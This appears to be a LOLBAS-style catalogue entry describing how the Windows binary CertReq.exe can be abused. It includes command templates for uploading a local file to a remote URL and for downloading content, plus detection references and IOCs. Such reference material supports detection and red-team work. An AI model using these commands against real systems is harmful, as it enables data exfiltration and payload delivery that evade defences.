---
Name: CertReq.exe
Description: Used for requesting and managing certificates
Author: David Middlehurst
Created: 2020-07-07
Commands:
  - Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}
    Description: Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).
    Usecase: Download file from Internet
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
  - Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
    Description: Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.
    Usecase: Upload
    Category: Upload
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
Full_Path:
  - Path: C:\Windows\System32\certreq.exe
  - Path: C:\Windows\SysWOW64\certreq.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
  - IOC: certreq creates new files
  - IOC: certreq makes POST requests
Resources:
  - Link: https://dtm.uk/certreq
Acknowledgement:
  - Person: David Middlehurst
    Handle: '@dtmsecurity'